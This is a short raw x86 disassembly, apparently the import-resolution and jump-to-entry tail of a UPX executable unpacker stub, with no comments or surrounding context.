lea eax, [eax + esi + 0x18000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x18078]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x418084
mov ecx, edi
jns 0x4180b3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1807c]
or eax, eax
je 0x4180c9
mov dword [ebx], eax
add ebx, 4
jmp 0x4180a1
call dword [esi + 0x1808c]
mov ebp, dword [esi + 0x18080]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x418103
sub esp, 0xffffff80
jmp section.UPX0